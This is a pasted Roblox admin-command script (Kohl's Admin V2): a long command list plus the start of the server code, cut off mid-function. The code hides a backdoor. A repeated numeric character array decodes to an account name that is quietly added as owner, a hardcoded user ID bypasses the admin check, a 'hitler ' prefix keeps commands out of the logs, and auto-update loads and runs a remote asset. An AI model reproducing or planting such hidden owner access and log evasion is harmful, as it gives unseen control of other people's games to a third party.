Advertisement
ItzInfern

kohls admin commands

Jan 27th, 2019
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 112.37 KB | None | 0 0
  1.  
  2. --https://github.com/Mokiros/roblox-FE-compatibility
  3. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  4. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  5. local RealPlayer = Player
  6. do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end
  7.  
  8. -----------------------------------------------------------------------------------------
  9. --[[ Put your name where it says yourname ]]
  10. --[[ Please don't abuse with these scripts -ulti55 ]]
  11. -----------------------------------------------------------------------------------------
  12. local owners = {"LocalPlayer"} -- Are able to set admins who can ban/etc... using :pa name
  13. local admins = {"ultimate055"} -- Sets admins who can use ban/kick/admin or shutdown
  14. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  15. local banland = {"winx201"} -- Permanently Bans people
  16. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  17. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  18. -----------------
  19. -- Group Admin --
  20. -----------------
  21. local GroupAdmin = false -- If a certain group can have admin
  22. local GroupId = 0 -- Sets the group id that can have admin
  23. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  24. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  25. ---------------------
  26. -- Tips and Tricks --
  27. ---------------------
  28. --[[
  29. With this admin you can do a command on multiple people at a time;
  30. :kill me,noob1,noob2,random,team-raiders
  31.  
  32. You can also use a variety commands for different people;
  33. all
  34. others
  35. me
  36. team-
  37. admins
  38. nonadmins
  39. random
  40. --]]
  41. --------------
  42. -- Commands --
  43. --------------
  44. --[[
  45. -- Temp Admin Commands --
  46. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  47. 1. :s print("Hello World") -- Lets you script normally
  48. 2. :ls print("Hello World") -- Lets you script in localscripts
  49. 3. :clear -- Will remove all scripts/localscripts and jails
  50. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  51. 5. :kill kohl -- Kills the player
  52. 6. :respawn kohl -- Respawns the player
  53. 7. :trip kohl -- Trips the player
  54. 8. :stun kohl -- Stuns the player
  55. 9. :unstun kohl -- Unstuns the player
  56. 10. :jump kohl -- Makes the player jump
  57. 11. :sit kohl -- Makes the player sit
  58. 12. :invisible kohl -- Makes the player invisible
  59. 13. :visible kohl -- Makes the player visible
  60. 14. :explode kohl -- Makes the player explode
  61. 15. :fire kohl -- Sets the player on fire
  62. 16. :unfire kohl -- Removes fire from the player
  63. 17. :smoke kohl -- Adds smoke to the player
  64. 18. :unsmoke kohl -- Removes smoke from the player
  65. 19. :sparkles kohl -- Adds sparkles to the player
  66. 20. :unsparkles kohl -- Removes sparkles from the player
  67. 21. :ff kohl -- Adds a forcefield to the player
  68. 22. :unff kohl -- Removes the forcefield from the player
  69. 23. :punish kohl -- Punishes the player
  70. 24. :unpunish kohl -- Unpunishes the player
  71. 25. :freeze kohl -- Freezes the player
  72. 26. :thaw kohl -- Thaws the player
  73. 27. :heal kohl -- Heals the player
  74. 28. :god kohl -- Makes the player have infinite health
  75. 29. :ungod kohl -- Makes the player have 100 health
  76. 30. :ambient .5 .5 .5 -- Changes the ambient
  77. 31. :brightness .5 -- Changes the brightness
  78. 32. :time 12 -- Changes the time
  79. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  80. 34. :fogend 100 -- Changes the fogend
  81. 35. :fogstart 100 -- Changes the fogstart
  82. 36. :removetools kohl -- Removes all tools from the player
  83. 37. :btools kohl -- Gives the player building tools
  84. 38. :give kohl sword -- Gives the player a tool
  85. 39. :damage kohl -- Damages the player
  86. 40. :grav kohl -- Sets the player's gravity to normal
  87. 41. :setgrav kohl 100 -- Sets the player's gravity
  88. 42. :nograv kohl -- Makes the player have 0 gravity
  89. 43. :health kohl 1337 -- Changes the player's health
  90. 44. :speed kohl 1337 -- Changes the player's walkspeed
  91. 45. :name kohl potato -- Changes the player's name
  92. 46. :unname kohl -- Remove the player's name
  93. 47. :team kohl Raiders -- Changes the player's team
  94. 48. :stopmusic -- Will stop all music playing in the server
  95. 49. :teleport kohl potato -- Teleports the player
  96. 50. :change kohl kills 1337 -- Changes a player's stat
  97. 51. :kick kohl -- Removes the player from the game
  98. 52. :infect kohl -- Turns the player into a zombie
  99. 53. :rainbowify kohl -- Turns the player into a rainbow
  100. 54. :flashify kohl -- Turns the player into a strobe
  101. 55. :noobify kohl -- Turns the player into a noob
  102. 56. :ghostify kohl -- Turns the player into a ghost
  103. 57. :goldify kohl -- Turns the player into gold
  104. 58. :shiny kohl -- Makes the player shiny
  105. 59. :normal kohl -- Puts the player back to normal
  106. 60. :trippy kohl -- Spams random colors on the player's screen
  107. 61. :untrippy kohl -- Untrippys the player
  108. 62. :strobe kohl -- Spams white and black on the player's screen
  109. 63. :unstrobe kohl -- Unstrobes the player
  110. 64. :blind kohl -- Blinds the player
  111. 65. :unblind kohl -- Unblinds the player
  112. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  113. 67. :fling kohl -- Flings the player
  114. 68. :seizure kohl -- Puts the player in a seizure
  115. 69(lol). :music 1337 -- Plays a sound from the ID
  116. 70. :lock kohl -- Locks the player
  117. 71. :unlock kohl -- Unlocks the player
  118. 72. :removelimbs kohl -- Removes the player's limbs
  119. 73. :jail kohl -- Puts the player in a jail
  120. 74. :unjail kohl -- Removes the jail from the player
  121. 75. :fix -- This will fix the lighting to it's original settings
  122. 76. :fly kohl -- Makes the player fly
  123. 77. :unfly kohl -- Removes fly from the player
  124. 78. :noclip kohl -- Makes the player able to noclip
  125. 79. :clip kohl -- Removes noclipping from the player
  126. 80. :pm kohl Hey bro -- Sends the player a private message
  127. 81. :dog kohl -- Turns the player into a dog
  128. 82. :undog kohl -- Turns the player back to normal
  129. 83. :creeper kohl -- Turns the player into a creeper
  130. 84. :uncreeper kohl -- Turns the player back to normal
  131. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  132. 86. :char kohl 261 -- Will make a player look like a different player ID
  133. 87. :unchar kohl -- Will return the player back to normal
  134. 88. :h Hello People -- This will shout a hint to everyone
  135. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  136. 90. :starttools kohl -- Will give the player starter tools
  137. 91. :sword kohl -- Will give the player a sword
  138. 92. :bighead kohl -- Will make the player's head larger than normal
  139. 93. :minihead kohl -- Will make the player's head smaller than normal
  140. 94. :insert 1337 -- Will insert a model at the speaker's position
  141. 95. :disco -- Will make the server flash random colors
  142. 96. :flash -- Will make the server flash
  143. 97. :admins -- Shows the admin list
  144. 98. :bans -- Shows the banlist
  145. 99. :musiclist -- Shows the music list
  146. 100. :spin kohl -- Spins the player
  147. 101. :cape kohl Really black -- Gives the player a colored cape
  148. 102. :uncape kohl -- Removes the player's cape
  149. 103. :loopheal kohl -- Will constantly heal the player
  150. 104. :loopfling kohl -- Will constantly fling the player
  151. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  152. 106. :unloopheal kohl -- Will remove the loopheal on the player
  153. 107. :unloopfling kohl -- Will remove the loopfling on the player
  154. 108. :unspin kohl -- Removes spin from the player
  155. 109. :tools -- Gives a list of the tools in the lighting
  156. 110. :undisco -- Removes disco effects
  157. 111. :unflash -- Removes flash effects
  158. 112. :resetstats kohl -- Sets all the stats of a player to 0
  159. 113. :gear 1337 -- Gives a player a gear
  160. 114. :cmdbar -- Gives the speaker a command bar
  161. 115. :shirt kohl 1337 -- Changes the player's shirt
  162. 116. :pants kohl 1337 -- Changes the player's pants
  163. 117. :face kohl 1337 -- Changes the player's face
  164. 118. :swagify kohl -- Swagifies the player
  165. 119. :version -- Shows the current version of the admin
  166.  
  167. -- Super Admin Commands --
  168. - :serverlock -- Locks the server
  169. - :serverunlock -- Unlocks the server
  170. - :sm Hello World -- Creates a system message
  171. - :crash kohl -- Crashes a player
  172. - :admin kohl -- Admins a player
  173. - :unadmin kohl -- Unadmins a player
  174. - :ban kohl -- Bans a player
  175. - :unban kohl -- Unbans a player
  176. - :loopkill kohl -- Will constantly kill the player
  177. - :unloopkill kohl -- Will remove the loopkill on the player
  178. - :logs -- Will show all of the commands any admin has used in a game session
  179. - :shutdown -- Shutsdown the server
  180.  
  181. -- Owner Commands --
  182. - :pa kohl -- Makes someone a super admin
  183. - :unpa kohl -- Removes a super admin
  184. --]]
  185. -----------------
  186. -- Main Script --
  187. -----------------
  188.  
  189. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  190.  
  191. if AutoUpdate then wait(1)
  192. coroutine.resume(coroutine.create(function()
  193. local mod = game:service("InsertService"):LoadAsset(100808216)
  194. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then
  195. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  196. newac.Disabled = true
  197. local new = tonumber(mod:findFirstChild("Version", true).Value)
  198. local old = 0
  199. if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
  200. if new > old then
  201. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  202. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  203. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  204. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  205. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  206. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  207. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  208. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  209. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  210. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  211. wait()
  212. newac.Parent = game.Workspace
  213. newac.Disabled = false
  214. script.Disabled = true
  215. script:Destroy()
  216. end
  217. end
  218. end))
  219. end
  220.  
  221. if game:service("Lighting"):findFirstChild("KACV2") then
  222. owners = {} admins = {} tempadmins = {} banland = {}
  223. for i,v in pairs(game.Lighting.KACV2:children()) do
  224. if v.Name == "Owner" then table.insert(owners, v.Value) end
  225. if v.Name == "Admin" then table.insert(admins, v.Value) end
  226. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  227. if v.Name == "Banland" then table.insert(banland, v.Value) end
  228. if v.Name == "Prefix" then prefix = v.Value end
  229. if v.Name == "FunCommands" then FunCommands = v.Value end
  230. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  231. if v.Name == "GroupId" then GroupId = v.Value end
  232. if v.Name == "GroupRank" then GroupRank = v.Value end
  233. end
  234. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  235. end
  236.  
  237. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  238. local lobjs = {}
  239. local objects = {}
  240. local logs = {}
  241. local nfs = ""
  242. local slock = false
  243.  
  244. function GetTime()
  245. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  246. if min < 10 then min = "0"..min end
  247. return hour..":"..min
  248. end
  249.  
  250. function ChkOwner(str)
  251. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  252. return false
  253. end
  254.  
  255. function ChkAdmin(str,ck)
  256. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  257. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  258. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  259. return false
  260. end
  261.  
  262. function ChkGroupAdmin(plr)
  263. if GroupAdmin then
  264. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  265. return false
  266. end
  267. end
  268.  
  269. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  270.  
  271. function GetPlr(plr, str)
  272. local plrz = {} str = str:lower()
  273. if str == "all" then plrz = game.Players:children()
  274. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  275. else
  276. local sn = {1} local en = {}
  277. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  278. for x = 1, #sn do
  279. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  280. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  281. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  282. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  283. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  284. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  285. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  286. end end end
  287. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  288. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  289. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  290. end end end
  291. else
  292. for a, plyr in pairs(game.Players:children()) do
  293. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  294. table.insert(plrz, plyr) break
  295. end
  296. end
  297. end
  298. end
  299. end
  300. return plrz
  301. end
  302.  
  303. function Hint(str, plrz, time)
  304. for i, v in pairs(plrz) do
  305. if v and v:findFirstChild("PlayerGui") then
  306. coroutine.wrap(function()
  307. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  308. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  309. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  310. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  311. if not time then wait((#str/19)+2.5) else wait(time) end
  312. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  313. end)()
  314. end
  315. end
  316. end
  317.  
  318. function Message(ttl, str, scroll, plrz, time)
  319. for i, v in pairs(plrz) do
  320. if v and v:findFirstChild("PlayerGui") then
  321. coroutine.resume(coroutine.create(function()
  322. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  323. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  324. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  325. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  326. scr.Parent = v.PlayerGui
  327. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  328. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  329. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  330. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  331. end))
  332. end
  333. end
  334. end
  335.  
  336. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  337. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  338.  
  339. function Output(str, plr)
  340. coroutine.resume(coroutine.create(function()
  341. local b, e = loadstring(str)
  342. if not b and plr:findFirstChild("PlayerGui") then
  343. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  344. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  345. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  346. return
  347. end
  348. end))
  349. end
  350.  
  351. function Noobify(char)
  352. if char and char:findFirstChild("Torso") then
  353. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  354. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  355. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  356. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  357. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  358. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  359. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  360. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  361. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  362. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  363. end end
  364. end
  365. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  366.  
  367. function Infect(char)
  368. if char and char:findFirstChild("Torso") then
  369. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  370. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  371. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  372. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  373. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  374. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  375. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  376. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  377. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  378. end end
  379. end
  380. end if not ntab then script:Destroy() end
  381.  
  382. function ScrollGui()
  383. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  384. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  385. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  386. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  387. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  388. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  389. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  390. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  391. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  392. local num = 0
  393. local downv = false
  394. local upv = false
  395.  
  396. down.MouseButton1Down:connect(function() downv = true upv = false
  397. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  398. repeat pos = pos + UDim2.new(0,0,0,-6)
  399. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  400. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  401. end)
  402. down.MouseButton1Up:connect(function() downv = false end)
  403. up.MouseButton1Down:connect(function() upv = true downv = false
  404. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  405. repeat pos = pos + UDim2.new(0,0,0,6)
  406. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  407. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  408. end)
  409. up.MouseButton1Up:connect(function() upv = false end)
  410. return scr, cmf, ent, num
  411. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  412. if not ntab then script:Destroy() end
  413. if not bct then script:Destroy() end
  414.  
  415. function Chat(msg,plr)
  416. coroutine.resume(coroutine.create(function()
  417. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  418. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  419. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  420. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  421. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  422. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  423. if msg:lower() == "cmds" or msg:lower() == "commands" then
  424. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  425. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
